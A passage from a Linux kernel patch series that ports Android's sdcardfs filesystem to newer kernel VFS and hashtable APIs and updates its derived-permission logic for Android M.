DERIVE_UNIFIED) && (!strcasecmp(dentry->d_name.name, "obb")) && (pi->perm == PERM_ANDROID) && (pi->userid == 0)) @@ -388,8 +357,6 @@ static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, int mode) kfree(nomedia_fullpath); } out: - mnt_drop_write(lower_path.mnt); -out_unlock: unlock_dir(lower_parent_dentry); sdcardfs_put_lower_path(dentry, &lower_path); out_revert: @@ -427,9 +394,6 @@ static int sdcardfs_rmdir(struct inode *dir, struct dentry *dentry) lower_dentry = lower_path.dentry; lower_dir_dentry = lock_parent(lower_dentry); - err = mnt_want_write(lower_path.mnt); - if (err) - goto out_unlock; err = vfs_rmdir(lower_dir_dentry->d_inode, lower_dentry); if (err) goto out; @@ -439,11 +403,9 @@ static int sdcardfs_rmdir(struct inode *dir, struct dentry *dentry) clear_nlink(dentry->d_inode); fsstack_copy_attr_times(dir, lower_dir_dentry->d_inode); fsstack_copy_inode_size(dir, lower_dir_dentry->d_inode); - dir->i_nlink = lower_dir_dentry->d_inode->i_nlink; + set_nlink(dir, lower_dir_dentry->d_inode->i_nlink); out: - mnt_drop_write(lower_path.mnt); -out_unlock: unlock_dir(lower_dir_dentry); sdcardfs_put_real_lower(dentry, &lower_path); REVERT_CRED(saved_cred); @@ -452,7 +414,7 @@ static int sdcardfs_rmdir(struct inode *dir, struct dentry *dentry) } #if 0 -static int sdcardfs_mknod(struct inode *dir, struct dentry *dentry, int mode, +static int sdcardfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t dev) { int err = 0; @@ -466,9 +428,6 @@ static int sdcardfs_mknod(struct inode *dir, struct dentry *dentry, int mode, lower_dentry = lower_path.dentry; lower_parent_dentry = lock_parent(lower_dentry); - err = mnt_want_write(lower_path.mnt); - if (err) - goto out_unlock; err = vfs_mknod(lower_parent_dentry->d_inode, lower_dentry, mode, dev); if (err) goto out; @@ -480,8 +439,6 @@ static int sdcardfs_mknod(struct inode *dir, struct dentry *dentry, int mode, fsstack_copy_inode_size(dir, lower_parent_dentry->d_inode); out: - mnt_drop_write(lower_path.mnt); -out_unlock: unlock_dir(lower_parent_dentry); sdcardfs_put_lower_path(dentry, &lower_path); REVERT_CRED(); @@ -541,17 +498,10 @@ static int sdcardfs_rename(struct inode *old_dir, struct dentry *old_dentry, goto out; } - err = mnt_want_write(lower_old_path.mnt); - if (err) - goto out; - err = mnt_want_write(lower_new_path.mnt); - if (err) - goto out_drop_old_write; - err = vfs_rename(lower_old_dir_dentry->d_inode, lower_old_dentry, lower_new_dir_dentry->d_inode, lower_new_dentry); if (err) - goto out_err; + goto out; /* Copy attrs from lower dir, but i_uid/i_gid */ fsstack_copy_attr_all(new_dir, lower_new_dir_dentry->d_inode); @@ -574,10 +524,6 @@ static int sdcardfs_rename(struct inode *old_dir, struct dentry *old_dentry, } } -out_err: - mnt_drop_write(lower_new_path.mnt); -out_drop_old_write: - mnt_drop_write(lower_old_path.mnt); out: unlock_rename(lower_old_dir_dentry, lower_new_dir_dentry); dput(lower_old_dir_dentry); @@ -659,18 +605,15 @@ static void sdcardfs_put_link(struct dentry *dentry, struct nameidata *nd, } #endif -static int sdcardfs_permission(struct inode *inode, int mask, unsigned int flags) +static int sdcardfs_permission(struct inode *inode, int mask) { int err; - if (flags & IPERM_FLAG_RCU) - return -ECHILD; - /* * Permission check on sdcardfs inode. * Calling process should have AID_SDCARD_RW permission */ - err = generic_permission(inode, mask, 0, inode->i_op->check_acl); + err = generic_permission(inode, mask); /* XXX * Original sdcardfs code calls inode_permission(lower_inode,.. ) @@ -863,7 +806,9 @@ const struct inode_operations sdcardfs_symlink_iops = { const struct inode_operations sdcardfs_dir_iops = { .create = sdcardfs_create, .lookup = sdcardfs_lookup, +#if 0 .permission = sdcardfs_permission, +#endif .unlink = sdcardfs_unlink, .mkdir = sdcardfs_mkdir, .rmdir = sdcardfs_rmdir, diff --git a/fs/sdcardfs/lookup.c b/fs/sdcardfs/lookup.c index c0b12375b1bf4..a4b94df99f320 100755 --- a/fs/sdcardfs/lookup.c +++ b/fs/sdcardfs/lookup.c @@ -79,8 +79,7 @@ static int sdcardfs_inode_set(struct inode *inode, void *lower_inode) return 0; } -static struct inode *sdcardfs_iget(struct super_block *sb, - struct inode *lower_inode) +struct inode *sdcardfs_iget(struct super_block *sb, struct inode *lower_inode) { struct sdcardfs_inode_info *info; struct inode *inode; /* the new inode to return */ @@ -206,14 +205,13 @@ int sdcardfs_interpose(struct dentry *dentry, struct super_block *sb, * Fills in lower_parent_path with on success. */ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, - struct nameidata *nd, struct path *lower_parent_path) + unsigned int flags, struct path *lower_parent_path) { int err = 0; struct vfsmount *lower_dir_mnt; struct dentry *lower_dir_dentry = NULL; struct dentry *lower_dentry; const char *name; - struct nameidata lower_nd; struct path lower_path; struct qstr this; struct sdcardfs_sb_info *sbi; @@ -234,10 +232,10 @@ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, /* Use vfs_path_lookup to check if the dentry exists or not */ if (sbi->options.lower_fs == LOWER_FS_EXT4) { err = vfs_path_lookup(lower_dir_dentry, lower_dir_mnt, name, - LOOKUP_CASE_INSENSITIVE, &lower_nd); + LOOKUP_CASE_INSENSITIVE, &lower_path); } else if (sbi->options.lower_fs == LOWER_FS_FAT) { err = vfs_path_lookup(lower_dir_dentry, lower_dir_mnt, name, 0, - &lower_nd); + &lower_path); } /* no error: handle positive dentries */ @@ -253,7 +251,7 @@ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, * and the base obbpath will be copyed to the lower_path variable. * if an error returned, there's no change in the lower_path * returns: -ERRNO if error (0: no error) */ - err = setup_obb_dentry(dentry, &lower_nd.path); + err = setup_obb_dentry(dentry, &lower_path); if(err) { /* if the sbi->obbpath is not available, we can optionally @@ -267,8 +265,8 @@ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, } } - sdcardfs_set_lower_path(dentry, &lower_nd.path); - err = sdcardfs_interpose(dentry, dentry->d_sb, &lower_nd.path); + sdcardfs_set_lower_path(dentry, &lower_path); + err = sdcardfs_interpose(dentry, dentry->d_sb, &lower_path); if (err) /* path_put underlying path on error */ sdcardfs_put_reset_lower_path(dentry); goto out; @@ -306,10 +304,7 @@ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, * the VFS will continue the process of making this negative dentry * into a positive one. */ - if (nd) { - if (nd->flags & (LOOKUP_CREATE|LOOKUP_RENAME_TARGET)) - err = 0; - } else + if (flags & (LOOKUP_CREATE|LOOKUP_RENAME_TARGET)) err = 0; out: @@ -328,7 +323,7 @@ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, * @nd : nameidata of parent inode */ struct dentry *sdcardfs_lookup(struct inode *dir, struct dentry *dentry, - struct nameidata *nd) + unsigned int flags) { struct dentry *ret = NULL, *parent; struct path lower_parent_path; @@ -359,7 +354,7 @@ struct dentry *sdcardfs_lookup(struct inode *dir, struct dentry *dentry, goto out; } - ret = __sdcardfs_lookup(dentry, nd, &lower_parent_path); + ret = __sdcardfs_lookup(dentry, flags, &lower_parent_path); if (IS_ERR(ret)) { goto out; diff --git a/fs/sdcardfs/main.c b/fs/sdcardfs/main.c index 1fdceffec72ca..9d04ae8ceb467 100755 --- a/fs/sdcardfs/main.c +++ b/fs/sdcardfs/main.c @@ -156,6 +156,7 @@ static int parse_options(struct super_block *sb, char *options, int silent, return 0; } +#if 0 /* * our custom d_alloc_root work-alike * @@ -181,6 +182,7 @@ static struct dentry *sdcardfs_d_alloc_root(struct super_block *sb) } return ret; } +#endif /* * There is no need to lock the sdcardfs_super_info's rwsem as there is no @@ -195,6 +197,7 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, struct path lower_path; struct sdcardfs_sb_info *sb_info; void *pkgl_id; + struct inode *inode; printk(KERN_INFO "sdcardfs version 2.0\n"); @@ -259,12 +262,18 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, sb->s_magic = SDCARDFS_SUPER_MAGIC; sb->s_op = &sdcardfs_sops; - /* see comment next to the definition of sdcardfs_d_alloc_root */ - sb->s_root = sdcardfs_d_alloc_root(sb); + /* get a new inode and allocate our root dentry */ + inode = sdcardfs_iget(sb, lower_path.dentry->d_inode); + if (IS_ERR(inode)) { + err = PTR_ERR(inode); + goto out_sput; + } + sb->s_root = d_make_root(inode); if (!sb->s_root) { err = -ENOMEM; - goto out_sput; + goto out_iput; } + d_set_d_op(sb->s_root, &sdcardfs_ci_dops); /* link the upper and lower dentries */ sb->s_root->d_fsdata = NULL; @@ -275,56 +284,60 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, /* set the lower dentries for s_root */ sdcardfs_set_lower_path(sb->s_root, &lower_path); - /* call interpose to create the upper level inode */ - err = sdcardfs_interpose(sb->s_root, sb, &lower_path); - if (!err) { - /* setup permission policy */ - switch(sb_info->options.derive) { - case DERIVE_NONE: - setup_derived_state(sb->s_root->d_inode, - PERM_ROOT, 0, AID_ROOT, AID_SDCARD_RW, 00775); - sb_info->obbpath_s = NULL; - break; - case DERIVE_LEGACY: - /* Legacy behavior used to support internal multiuser layout which - * places user_id at the top directory level, with the actual roots - * just below that. Shared OBB path is also at top level. */ - setup_derived_state(sb->s_root->d_inode, - PERM_LEGACY_PRE_ROOT, 0, AID_ROOT, AID_SDCARD_R, 00771); - /* initialize the obbpath string and lookup the path - * sb_info->obb_path will be deactivated by path_put - * on sdcardfs_put_super */ - sb_info->obbpath_s = kzalloc(PATH_MAX, GFP_KERNEL); - snprintf(sb_info->obbpath_s, PATH_MAX, "%s/obb", dev_name); - err = prepare_dir(sb_info->obbpath_s, - sb_info->options.fs_low_uid, - sb_info->options.fs_low_gid, 00755); - if(err) - printk(KERN_ERR "sdcardfs: %s: %d, error on creating %s\n", - __func__,__LINE__, sb_info->obbpath_s); - break; - case DERIVE_UNIFIED: - /* Unified multiuser layout which places secondary user_id under - * /Android/user and shared OBB path under /Android/obb. */ - setup_derived_state(sb->s_root->d_inode, - PERM_ROOT, 0, AID_ROOT, AID_SDCARD_R, 00771); - - sb_info->obbpath_s = kzalloc(PATH_MAX, GFP_KERNEL); - snprintf(sb_info->obbpath_s, PATH_MAX, "%s/Android/obb", dev_name); - break; - } - fix_derived_permission(sb->s_root->d_inode); + /* + * No need to call interpose because we already have a positive + * dentry, which was instantiated by d_make_root. Just need to + * d_rehash it. + */ + d_rehash(sb->s_root); - if (!silent) - printk(KERN_INFO "sdcardfs: mounted on top of %s type %s\n", - dev_name, lower_sb->s_type->name); - goto out; + /* setup permission policy */ + switch(sb_info->options.derive) { + case DERIVE_NONE: + setup_derived_state(sb->s_root->d_inode, + PERM_ROOT, 0, AID_ROOT, AID_SDCARD_RW, 00775); + sb_info->obbpath_s = NULL; + break; + case DERIVE_LEGACY: + /* Legacy behavior used to support internal multiuser layout which + * places user_id at the top directory level, with the actual roots + * just below that. Shared OBB path is also at top level. */ + setup_derived_state(sb->s_root->d_inode, + PERM_LEGACY_PRE_ROOT, 0, AID_ROOT, AID_SDCARD_R, 00771); + /* initialize the obbpath string and lookup the path + * sb_info->obb_path will be deactivated by path_put + * on sdcardfs_put_super */ + sb_info->obbpath_s = kzalloc(PATH_MAX, GFP_KERNEL); + snprintf(sb_info->obbpath_s, PATH_MAX, "%s/obb", dev_name); + err = prepare_dir(sb_info->obbpath_s, + sb_info->options.fs_low_uid, + sb_info->options.fs_low_gid, 00755); + if(err) + printk(KERN_ERR "sdcardfs: %s: %d, error on creating %s\n", + __func__,__LINE__, sb_info->obbpath_s); + break; + case DERIVE_UNIFIED: + /* Unified multiuser layout which places secondary user_id under + * /Android/user and shared OBB path under /Android/obb. */ + setup_derived_state(sb->s_root->d_inode, + PERM_ROOT, 0, AID_ROOT, AID_SDCARD_R, 00771); + + sb_info->obbpath_s = kzalloc(PATH_MAX, GFP_KERNEL); + snprintf(sb_info->obbpath_s, PATH_MAX, "%s/Android/obb", dev_name); + break; } - /* else error: fall through */ + fix_derived_permission(sb->s_root->d_inode); + + if (!silent) + printk(KERN_INFO "sdcardfs: mounted on top of %s type %s\n", + dev_name, lower_sb->s_type->name); + goto out; /* all is well */ - free_dentry_private_data(sb->s_root); + /* no longer needed: free_dentry_private_data(sb->s_root); */ out_freeroot: dput(sb->s_root); +out_iput: + iput(inode); out_sput: /* drop refs we took earlier */ atomic_dec(&lower_sb->s_active); @@ -346,7 +359,7 @@ static struct dentry *mount_nodev_with_options(struct file_system_type *fs_type, { int error; - struct super_block *s = sget(fs_type, NULL, set_anon_super, NULL); + struct super_block *s = sget(fs_type, NULL, set_anon_super, flags, NULL); if (IS_ERR(s)) return ERR_CAST(s); @@ -378,7 +391,7 @@ static struct file_system_type sdcardfs_fs_type = { .name = SDCARDFS_NAME, .mount = sdcardfs_mount, .kill_sb = generic_shutdown_super, - .fs_flags = FS_REVAL_DOT, + .fs_flags = 0, }; static int __init init_sdcardfs_fs(void) diff --git a/fs/sdcardfs/packagelist.c b/fs/sdcardfs/packagelist.c index c786d8f92203d..7a9f461eee975 100755 --- a/fs/sdcardfs/packagelist.c +++ b/fs/sdcardfs/packagelist.c @@ -20,7 +20,7 @@ #include "sdcardfs.h" #include "strtok.h" -#include "hashtable.h" +#include #include #include #include @@ -29,8 +29,8 @@ #define STRING_BUF_SIZE (512) struct hashtable_entry { - struct hlist_node hlist; - void *key; + struct hlist_node hlist; + void *key; int value; }; @@ -67,12 +67,12 @@ static unsigned int str_hash(void *key) { } static int contain_appid_key(struct packagelist_data *pkgl_dat, void *appid) { - struct hashtable_entry *hash_cur; - struct hlist_node *h_n; + struct hashtable_entry *hash_cur; + + hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, (unsigned int)appid) - hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, (unsigned int)appid, h_n) - if (appid == hash_cur->key) - return 1; + if (appid == hash_cur->key) + return 1; return 0; } @@ -98,13 +98,12 @@ appid_t get_appid(void *pkgl_id, const char *app_name) { struct packagelist_data *pkgl_dat = (struct packagelist_data *)pkgl_id; struct hashtable_entry *hash_cur; - struct hlist_node *h_n; unsigned int hash = str_hash((void *)app_name); appid_t ret_id; //printk(KERN_INFO "sdcardfs: %s: %s, %u\n", __func__, (char *)app_name, hash); mutex_lock(&pkgl_dat->hashtable_lock); - hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash, h_n) { + hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash) { //printk(KERN_INFO "sdcardfs: %s: %s\n", __func__, (char *)hash_cur->key); if (!strcasecmp(app_name, hash_cur->key)) { ret_id = (appid_t)hash_cur->value; @@ -174,11 +173,10 @@ int open_flags_to_access_mode(int open_flags) { static int insert_str_to_int(struct packagelist_data *pkgl_dat, void *key, int value) { struct hashtable_entry *hash_cur; struct hashtable_entry *new_entry; - struct hlist_node *h_n; unsigned int hash = str_hash(key); //printk(KERN_INFO "sdcardfs: %s: %s: %d, %u\n", __func__, (char *)key, value, hash); - hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash, h_n) { + hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash) { if (!strcasecmp(key, hash_cur->key)) { hash_cur->value = value; return 0; @@ -202,11 +200,10 @@ static void remove_str_to_int(struct hashtable_entry *h_entry) { static int insert_int_to_null(struct packagelist_data *pkgl_dat, void *key, int value) { struct hashtable_entry *hash_cur; struct hashtable_entry *new_entry; - struct hlist_node *h_n; //printk(KERN_INFO "sdcardfs: %s: %d: %d\n", __func__, (int)key, value); hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, - (unsigned int)key, h_n) { + (unsigned int)key) { if (key == hash_cur->key) { hash_cur->value = value; return 0; @@ -230,14 +227,13 @@ static void remove_int_to_null(struct hashtable_entry *h_entry) { static void remove_all_hashentrys(struct packagelist_data *pkgl_dat) { struct hashtable_entry *hash_cur; - struct hlist_node *h_n; struct hlist_node *h_t; int i; - hash_for_each_safe(pkgl_dat->package_to_appid, i, h_t, hash_cur, hlist, h_n) + hash_for_each_safe(pkgl_dat->package_to_appid, i, h_t, hash_cur, hlist) remove_str_to_int(hash_cur); - hash_for_each_safe(pkgl_dat->appid_with_rw, i, h_t, hash_cur, hlist, h_n) - remove_int_to_null(hash_cur); + hash_for_each_safe(pkgl_dat->appid_with_rw, i, h_t, hash_cur, hlist) + remove_int_to_null(hash_cur); hash_init(pkgl_dat->package_to_appid); hash_init(pkgl_dat->appid_with_rw); diff --git a/fs/sdcardfs/sdcardfs.h b/fs/sdcardfs/sdcardfs.h index 90f8b24e4a520..540459add4a04 100755 --- a/fs/sdcardfs/sdcardfs.h +++ b/fs/sdcardfs/sdcardfs.h @@ -159,7 +159,9 @@ extern void sdcardfs_destroy_dentry_cache(void); extern int new_dentry_private_data(struct dentry *dentry); extern void free_dentry_private_data(struct dentry *dentry); extern struct dentry *sdcardfs_lookup(struct inode *dir, struct dentry *dentry, - struct nameidata *nd); + unsigned int flags); +extern struct inode *sdcardfs_iget(struct super_block *sb, + struct inode *lower_inode); extern int sdcardfs_interpose(struct dentry *dentry, struct super_block *sb, struct path *lower_path); @@ -402,16 +404,9 @@ static inline int prepare_dir(const char *path_s, uid_t uid, gid_t gid, mode_t m int err; struct dentry *dent; struct iattr attrs; - struct nameidata nd; + struct path parent; - err = kern_path_parent(path_s, &nd); - if (err) { - if (err == -EEXIST) - err = 0; - goto out; - } - - dent = lookup_create(&nd, 1); + dent = kern_path_locked(path_s, &parent); if (IS_ERR(dent)) { err = PTR_ERR(dent); if (err == -EEXIST) @@ -419,7 +414,7 @@ static inline int prepare_dir(const char *path_s, uid_t uid, gid_t gid, mode_t m goto out_unlock; } - err = vfs_mkdir(nd.path.dentry->d_inode, dent, mode); + err = vfs_mkdir(parent.dentry->d_inode, dent, mode); if (err) { if (err == -EEXIST) err = 0; @@ -438,10 +433,8 @@ static inline int prepare_dir(const char *path_s, uid_t uid, gid_t gid, mode_t m out_unlock: /* parent dentry locked by lookup_create */ - mutex_unlock(&nd.path.dentry->d_inode->i_mutex); - path_put(&nd.path); - -out: + mutex_unlock(&parent.dentry->d_inode->i_mutex); + path_put(&parent); return err; } diff --git a/fs/sdcardfs/super.c b/fs/sdcardfs/super.c index 1d206c82dfdf1..f153ce1b8cf39 100755 --- a/fs/sdcardfs/super.c +++ b/fs/sdcardfs/super.c @@ -122,7 +122,7 @@ static void sdcardfs_evict_inode(struct inode *inode) struct inode *lower_inode; truncate_inode_pages(&inode->i_data, 0); - end_writeback(inode); + clear_inode(inode); /* * Decrement a reference to a lower_inode, which was incremented * by our read_inode when it was created initially. @@ -193,9 +193,9 @@ static void sdcardfs_umount_begin(struct super_block *sb) lower_sb->s_op->umount_begin(lower_sb); } -static int sdcardfs_show_options(struct seq_file *m, struct vfsmount *mnt) +static int sdcardfs_show_options(struct seq_file *m, struct dentry *root) { - struct sdcardfs_sb_info *sbi = SDCARDFS_SB(mnt->mnt_sb); + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(root->d_sb); struct sdcardfs_mount_options *opts = &sbi->options; if (opts->fs_low_uid != 0) From c80a0dd8c3985d2cf9fe17d4ab743b79286c2776 Mon Sep 17 00:00:00 2001 From: Daniel Campello Date: Wed, 24 Jun 2015 15:14:54 -0700 Subject: [PATCH 299/365] sdcardfs: Changed type-cast in packagelist management Change-Id: Ic8842de2d7274b7a5438938d2febf5d8da867148 --- fs/sdcardfs/packagelist.c | 40 ++++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 19 deletions(-) diff --git a/fs/sdcardfs/packagelist.c b/fs/sdcardfs/packagelist.c index 7a9f461eee975..61354ff2dc209 100755 --- a/fs/sdcardfs/packagelist.c +++ b/fs/sdcardfs/packagelist.c @@ -31,7 +31,7 @@ struct hashtable_entry { struct hlist_node hlist; void *key; - int value; + unsigned int value; }; struct packagelist_data { @@ -54,7 +54,7 @@ static const char* const kpackageslist_file = "/data/system/packages.list"; /* Supplementary groups to execute with */ static const gid_t kgroups[1] = { AID_PACKAGE_INFO }; -static unsigned int str_hash(void *key) { +static unsigned int str_hash(const char *key) { int i; unsigned int h = strlen(key); char *data = (char *)key; @@ -66,13 +66,13 @@ static unsigned int str_hash(void *key) { return h; } -static int contain_appid_key(struct packagelist_data *pkgl_dat, void *appid) { +static int contain_appid_key(struct packagelist_data *pkgl_dat, unsigned int appid) { struct hashtable_entry *hash_cur; - hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, (unsigned int)appid) - - if (appid == hash_cur->key) + hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, appid) + if ((void *)(uintptr_t)appid == hash_cur->key) return 1; + return 0; } @@ -89,7 +89,7 @@ int get_caller_has_rw_locked(void *pkgl_id, derive_t derive) { appid = multiuser_get_app_id(current_fsuid()); mutex_lock(&pkgl_dat->hashtable_lock); - ret = contain_appid_key(pkgl_dat, (void *)appid); + ret = contain_appid_key(pkgl_dat, appid); mutex_unlock(&pkgl_dat->hashtable_lock); return ret; } @@ -98,7 +98,7 @@ appid_t get_appid(void *pkgl_id, const char *app_name) { struct packagelist_data *pkgl_dat = (struct packagelist_data *)pkgl_id; struct hashtable_entry *hash_cur; - unsigned int hash = str_hash((void *)app_name); + unsigned int hash = str_hash(app_name); appid_t ret_id; //printk(KERN_INFO "sdcardfs: %s: %s, %u\n", __func__, (char *)app_name, hash); @@ -170,7 +170,9 @@ int open_flags_to_access_mode(int open_flags) { } } -static int insert_str_to_int(struct packagelist_data *pkgl_dat, void *key, int value) { +static int insert_str_to_int(struct packagelist_data *pkgl_dat, char *key, + unsigned int value) +{ struct hashtable_entry *hash_cur; struct hashtable_entry *new_entry; unsigned int hash = str_hash(key); @@ -197,14 +199,15 @@ static void remove_str_to_int(struct hashtable_entry *h_entry) { kmem_cache_free(hashtable_entry_cachep, h_entry); } -static int insert_int_to_null(struct packagelist_data *pkgl_dat, void *key, int value) { +static int insert_int_to_null(struct packagelist_data *pkgl_dat, unsigned int key, + unsigned int value) +{ struct hashtable_entry *hash_cur; struct hashtable_entry *new_entry; //printk(KERN_INFO "sdcardfs: %s: %d: %d\n", __func__, (int)key, value); - hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, - (unsigned int)key) { - if (key == hash_cur->key) { + hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, key) { + if ((void *)(uintptr_t)key == hash_cur->key) { hash_cur->value = value; return 0; } @@ -212,10 +215,9 @@ static int insert_int_to_null(struct packagelist_data *pkgl_dat, void *key, int new_entry = kmem_cache_alloc(hashtable_entry_cachep, GFP_KERNEL); if (!new_entry) return -ENOMEM; - new_entry->key = key; + new_entry->key = (void *)(uintptr_t)key; new_entry->value = value; - hash_add(pkgl_dat->appid_with_rw, &new_entry->hlist, - (unsigned int)new_entry->key); + hash_add(pkgl_dat->appid_with_rw, &new_entry->hlist, key); return 0; } @@ -259,7 +261,7 @@ static int read_package_list(struct packagelist_data *pkgl_dat) { while ((read_amount = sys_read(fd, pkgl_dat->read_buf, sizeof(pkgl_dat->read_buf))) > 0) { - int appid; + unsigned int appid; char *token; int one_line_len = 0; int additional_read; @@ -276,7 +278,7 @@ static int read_package_list(struct packagelist_data *pkgl_dat) { if (additional_read > 0) sys_lseek(fd, -additional_read, SEEK_CUR); - if (sscanf(pkgl_dat->read_buf, "%s %d %*d %*s %*s %s", + if (sscanf(pkgl_dat->read_buf, "%s %u %*d %*s %*s %s", pkgl_dat->app_name_buf, &appid, pkgl_dat->gids_buf) == 3) { ret = insert_str_to_int(pkgl_dat, pkgl_dat->app_name_buf, appid); @@ -290,7 +292,7 @@ static int read_package_list(struct packagelist_data *pkgl_dat) { while (token != NULL) { if (!kstrtoul(token, 10, &ret_gid) && (ret_gid == pkgl_dat->write_gid)) { - ret = insert_int_to_null(pkgl_dat, (void *)appid, 1); + ret = insert_int_to_null(pkgl_dat, appid, 1); if (ret) { sys_close(fd); mutex_unlock(&pkgl_dat->hashtable_lock); From 8bebc718291b7cdc6dda92736b8c2c9365f73747 Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Wed, 3 Feb 2016 21:08:21 -0800 Subject: [PATCH 300/365] sdcardfs: Bring up to date with Android M permissions: In M, the workings of sdcardfs were changed significantly. This brings sdcardfs into line with the changes. Change-Id: I10e91a84a884c838feef7aa26c0a2b21f02e052e --- fs/sdcardfs/Kconfig | 1 + fs/sdcardfs/derived_perm.c | 119 ++++----- fs/sdcardfs/file.c | 10 +- fs/sdcardfs/inode.c | 78 +++--- fs/sdcardfs/lookup.c | 40 +-- fs/sdcardfs/main.c | 141 +++++------ fs/sdcardfs/packagelist.c | 506 ++++++++++++++++++------------------- fs/sdcardfs/sdcardfs.h | 134 +++++++--- fs/sdcardfs/strtok.h | 75 ------ fs/sdcardfs/super.c | 11 +- 10 files changed, 504 insertions(+), 611 deletions(-) delete mode 100755 fs/sdcardfs/strtok.h diff --git a/fs/sdcardfs/Kconfig b/fs/sdcardfs/Kconfig index d995f3eaae6df..ab25f88ebb37a 100755 --- a/fs/sdcardfs/Kconfig +++ b/fs/sdcardfs/Kconfig @@ -1,5 +1,6 @@ config SDCARD_FS tristate "sdcard file system" + depends on CONFIGFS_FS default n help Sdcardfs is based on Wrapfs file system. diff --git a/fs/sdcardfs/derived_perm.c b/fs/sdcardfs/derived_perm.c index 00c33a471dcc5..9de45bc54f0eb 100755 --- a/fs/sdcardfs/derived_perm.c +++ b/fs/sdcardfs/derived_perm.c @@ -29,24 +29,23 @@ static void inherit_derived_state(struct inode *parent, struct inode *child) ci->perm = PERM_INHERIT; ci->userid = pi->userid; ci->d_uid = pi->d_uid; - ci->d_gid = pi->d_gid; - ci->d_mode = pi->d_mode; + ci->under_android = pi->under_android; } /* helper function for derived state */ void setup_derived_state(struct inode *inode, perm_t perm, - userid_t userid, uid_t uid, gid_t gid, mode_t mode) + userid_t userid, uid_t uid, bool under_android) { struct sdcardfs_inode_info *info = SDCARDFS_I(inode); info->perm = perm; info->userid = userid; info->d_uid = uid; - info->d_gid = gid; - info->d_mode = mode; + info->under_android = under_android; } -void get_derived_permission(struct dentry *parent, struct dentry *dentry) +/* While renaming, there is a point where we want the path from dentry, but the name from newdentry */ +void get_derived_permission_new(struct dentry *parent, struct dentry *dentry, struct dentry *newdentry) { struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); struct sdcardfs_inode_info *info = SDCARDFS_I(dentry->d_inode); @@ -63,86 +62,68 @@ void get_derived_permission(struct dentry *parent, struct dentry *dentry) inherit_derived_state(parent->d_inode, dentry->d_inode); - //printk(KERN_INFO "sdcardfs: derived: %s, %s, %d\n", parent->d_name.name, - // dentry->d_name.name, parent_info->perm); - - if (sbi->options.derive == DERIVE_NONE) { - return; - } - /* Derive custom permissions based on parent and current node */ switch (parent_info->perm) { case PERM_INHERIT: /* Already inherited above */ break; - case PERM_LEGACY_PRE_ROOT: + case PERM_PRE_ROOT: /* Legacy internal layout places users at top level */ info->perm = PERM_ROOT; - info->userid = simple_strtoul(dentry->d_name.name, NULL, 10); + info->userid = simple_strtoul(newdentry->d_name.name, NULL, 10); break; case PERM_ROOT: /* Assume masked off by default. */ - info->d_mode = 00770; - if (!strcasecmp(dentry->d_name.name, "Android")) { + if (!strcasecmp(newdentry->d_name.name, "Android")) { /* App-specific directories inside; let anyone traverse */ info->perm = PERM_ANDROID; - info->d_mode = 00771; - } else if (sbi->options.split_perms) { - if (!strcasecmp(dentry->d_name.name, "DCIM") - || !strcasecmp(dentry->d_name.name, "Pictures")) { - info->d_gid = AID_SDCARD_PICS; - } else if (!strcasecmp(dentry->d_name.name, "Alarms") - || !strcasecmp(dentry->d_name.name, "Movies") - || !strcasecmp(dentry->d_name.name, "Music") - || !strcasecmp(dentry->d_name.name, "Notifications") - || !strcasecmp(dentry->d_name.name, "Podcasts") - || !strcasecmp(dentry->d_name.name, "Ringtones")) { - info->d_gid = AID_SDCARD_AV; - } + info->under_android = true; } break; case PERM_ANDROID: - if (!strcasecmp(dentry->d_name.name, "data")) { + if (!strcasecmp(newdentry->d_name.name, "data")) { /* App-specific directories inside; let anyone traverse */ info->perm = PERM_ANDROID_DATA; - info->d_mode = 00771; - } else if (!strcasecmp(dentry->d_name.name, "obb")) { + } else if (!strcasecmp(newdentry->d_name.name, "obb")) { /* App-specific directories inside; let anyone traverse */ info->perm = PERM_ANDROID_OBB; - info->d_mode = 00771; - // FIXME : this feature will be implemented later. /* Single OBB directory is always shared */ - } else if (!strcasecmp(dentry->d_name.name, "user")) { - /* User directories must only be accessible to system, protected - * by sdcard_all. Zygote will bind mount the appropriate user- - * specific path. */ - info->perm = PERM_ANDROID_USER; - info->d_gid = AID_SDCARD_ALL; - info->d_mode = 00770; + } else if (!strcasecmp(newdentry->d_name.name, "media")) { + /* App-specific directories inside; let anyone traverse */ + info->perm = PERM_ANDROID_MEDIA; } break; - /* same policy will be applied on PERM_ANDROID_DATA - * and PERM_ANDROID_OBB */ case PERM_ANDROID_DATA: case PERM_ANDROID_OBB: - appid = get_appid(sbi->pkgl_id, dentry->d_name.name); + case PERM_ANDROID_MEDIA: + appid = get_appid(sbi->pkgl_id, newdentry->d_name.name); if (appid != 0) { info->d_uid = multiuser_get_uid(parent_info->userid, appid); } - info->d_mode = 00770; - break; - case PERM_ANDROID_USER: - /* Root of a secondary user */ - info->perm = PERM_ROOT; - info->userid = simple_strtoul(dentry->d_name.name, NULL, 10); - info->d_gid = AID_SDCARD_R; - info->d_mode = 00771; break; } } +void get_derived_permission(struct dentry *parent, struct dentry *dentry) +{ + get_derived_permission_new(parent, dentry, dentry); +} + +void 